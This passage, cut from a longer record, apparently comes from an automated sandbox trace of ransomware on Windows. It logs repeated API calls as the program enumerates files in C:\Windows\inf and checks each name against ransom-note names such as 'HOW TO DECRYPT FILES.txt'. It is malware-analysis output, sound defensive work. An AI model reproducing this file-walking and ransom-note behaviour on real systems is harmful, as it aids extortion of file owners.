nFileSizeLow=0x9f6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnbr002.PNF", cAlternateFileName="")) returned 1 [0130.443] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.443] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="prnbr002.PNF") returned -1 [0130.443] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="prnbr002.PNF") returned -1 [0130.443] lstrcmpiA (lpString1="", lpString2="prnbr002.PNF") returned -1 [0130.443] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnbr002.inf") returned="prnbr002.inf" [0130.443] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.443] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.443] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.444] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.444] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnbr002.PNF" | out: lpString1="C:\\Windows\\inf\\prnbr002.PNF") returned="C:\\Windows\\inf\\prnbr002.PNF" [0130.444] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c52cb0c, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c52cb0c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c52cb0c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x2d9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnbr003.inf", cAlternateFileName="")) returned 1 [0130.444] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.444] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="prnbr003.inf") returned -1 [0130.444] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="prnbr003.inf") returned -1 [0130.444] lstrcmpiA (lpString1="", lpString2="prnbr003.inf") returned -1 [0130.444] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnbr002.PNF") returned="prnbr002.PNF" [0130.444] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.445] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.445] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.445] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.445] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnbr003.inf" | out: lpString1="C:\\Windows\\inf\\prnbr003.inf") returned="C:\\Windows\\inf\\prnbr003.inf" [0130.445] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8deebbc3, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8deebbc3, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8deebbc3, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x349c, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnbr003.PNF", cAlternateFileName="")) returned 1 [0130.445] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.445] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="prnbr003.PNF") returned -1 [0130.445] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="prnbr003.PNF") returned -1 [0130.445] lstrcmpiA (lpString1="", lpString2="prnbr003.PNF") returned -1 [0130.445] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnbr003.inf") returned="prnbr003.inf" [0130.446] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.446] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.446] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.446] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.446] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnbr003.PNF" | out: lpString1="C:\\Windows\\inf\\prnbr003.PNF") returned="C:\\Windows\\inf\\prnbr003.PNF" [0130.446] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c52cb0c, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c52cb0c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c52cb0c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1976, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnbr004.inf", cAlternateFileName="")) returned 1 [0130.446] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.446] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="prnbr004.inf") returned -1 [0130.446] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="prnbr004.inf") returned -1 [0130.446] lstrcmpiA (lpString1="", lpString2="prnbr004.inf") returned -1 [0130.447] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnbr003.PNF") returned="prnbr003.PNF" [0130.447] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.447] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.447] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.447] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.447] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnbr004.inf" | out: lpString1="C:\\Windows\\inf\\prnbr004.inf") returned="C:\\Windows\\inf\\prnbr004.inf" [0130.447] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e08eae6, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8e08eae6, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8e08eae6, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x27f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnbr004.PNF", cAlternateFileName="")) returned 1 [0130.447] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.447] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="prnbr004.PNF") returned -1 [0130.448] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="prnbr004.PNF") returned -1 [0130.448] lstrcmpiA (lpString1="", lpString2="prnbr004.PNF") returned -1 [0130.448] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnbr004.inf") returned="prnbr004.inf" [0130.448] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.448] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.448] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.448] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.448] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnbr004.PNF" | out: lpString1="C:\\Windows\\inf\\prnbr004.PNF") returned="C:\\Windows\\inf\\prnbr004.PNF" [0130.448] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c552c6d, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c552c6d, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c552c6d, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x4982, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnbr005.inf", cAlternateFileName="")) returned 1 [0130.449] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.449] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="prnbr005.inf") returned -1 [0130.449] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="prnbr005.inf") returned -1 [0130.449] lstrcmpiA (lpString1="", lpString2="prnbr005.inf") returned -1 [0130.449] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnbr004.PNF") returned="prnbr004.PNF" [0130.449] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.449] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.449] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.449] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.451] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnbr005.inf" | out: lpString1="C:\\Windows\\inf\\prnbr005.inf") returned="C:\\Windows\\inf\\prnbr005.inf" [0130.451] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2a3e2a, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8e2a3e2a, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8e2a3e2a, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x5144, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnbr005.PNF", cAlternateFileName="")) returned 1 [0130.451] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.451] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="prnbr005.PNF") returned -1 [0130.451] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="prnbr005.PNF") returned -1 [0130.452] lstrcmpiA (lpString1="", lpString2="prnbr005.PNF") returned -1 [0130.452] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnbr005.inf") returned="prnbr005.inf" [0130.452] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.452] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.452] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.452] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.452] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnbr005.PNF" | out: lpString1="C:\\Windows\\inf\\prnbr005.PNF") returned="C:\\Windows\\inf\\prnbr005.PNF" [0130.452] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c578dcd, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c578dcd, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c578dcd, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x479a, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnbr006.inf", cAlternateFileName="")) returned 1 [0130.452] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.453] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="prnbr006.inf") returned -1 [0130.453] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="prnbr006.inf") returned -1 [0130.453] lstrcmpiA (lpString1="", lpString2="prnbr006.inf") returned -1 [0130.453] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnbr005.PNF") returned="prnbr005.PNF" [0130.453] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.453] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.453] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.453] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.453] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnbr006.inf" | out: lpString1="C:\\Windows\\inf\\prnbr006.inf") returned="C:\\Windows\\inf\\prnbr006.inf" [0130.454] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e446d4d, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8e446d4d, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8e446d4d, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x4f6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnbr006.PNF", cAlternateFileName="")) returned 1 [0130.454] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.454] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="prnbr006.PNF") returned -1 [0130.454] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="prnbr006.PNF") returned -1 [0130.454] lstrcmpiA (lpString1="", lpString2="prnbr006.PNF") returned -1 [0130.454] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnbr006.inf") returned="prnbr006.inf" [0130.454] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.454] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.454] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.454] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.454] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnbr006.PNF" | out: lpString1="C:\\Windows\\inf\\prnbr006.PNF") returned="C:\\Windows\\inf\\prnbr006.PNF" [0130.455] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c59ef2d, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c59ef2d, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c59ef2d, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x29b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnbr007.inf", cAlternateFileName="")) returned 1 [0130.455] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.455] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="prnbr007.inf") returned -1 [0130.455] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="prnbr007.inf") returned -1 [0130.455] lstrcmpiA (lpString1="", lpString2="prnbr007.inf") returned -1 [0130.455] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnbr006.PNF") returned="prnbr006.PNF" [0130.455] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.455] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.455] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.455] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.456] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnbr007.inf" | out: lpString1="C:\\Windows\\inf\\prnbr007.inf") returned="C:\\Windows\\inf\\prnbr007.inf" [0130.456] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e71a772, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8e71a772, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8e71a772, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x3564, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnbr007.PNF", cAlternateFileName="")) returned 1 [0130.456] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.456] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="prnbr007.PNF") returned -1 [0130.456] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="prnbr007.PNF") returned -1 [0130.456] lstrcmpiA (lpString1="", lpString2="prnbr007.PNF") returned -1 [0130.456] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnbr007.inf") returned="prnbr007.inf" [0130.456] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.457] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.457] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.457] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.457] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnbr007.PNF" | out: lpString1="C:\\Windows\\inf\\prnbr007.PNF") returned="C:\\Windows\\inf\\prnbr007.PNF" [0130.457] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c59ef2d, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c59ef2d, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c59ef2d, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xe28, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnbr008.inf", cAlternateFileName="")) returned 1 [0130.457] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.457] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="prnbr008.inf") returned -1 [0130.457] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="prnbr008.inf") returned -1 [0130.457] lstrcmpiA (lpString1="", lpString2="prnbr008.inf") returned -1 [0130.457] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnbr007.PNF") returned="prnbr007.PNF" [0130.458] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.458] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.458] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.458] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.458] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnbr008.inf" | out: lpString1="C:\\Windows\\inf\\prnbr008.inf") returned="C:\\Windows\\inf\\prnbr008.inf" [0130.458] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e97bd77, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8e97bd77, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8e97bd77, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x1cd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnbr008.PNF", cAlternateFileName="")) returned 1 [0130.458] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.458] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="prnbr008.PNF") returned -1 [0130.458] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="prnbr008.PNF") returned -1 [0130.459] lstrcmpiA (lpString1="", lpString2="prnbr008.PNF") returned -1 [0130.459] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnbr008.inf") returned="prnbr008.inf" [0130.459] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.459] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.459] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.459] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.459] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnbr008.PNF" | out: lpString1="C:\\Windows\\inf\\prnbr008.PNF") returned="C:\\Windows\\inf\\prnbr008.PNF" [0130.459] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c5c508d, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c5c508d, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c5c508d, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1434, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnbr009.inf", cAlternateFileName="")) returned 1 [0130.459] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.459] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="prnbr009.inf") returned -1 [0130.459] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", 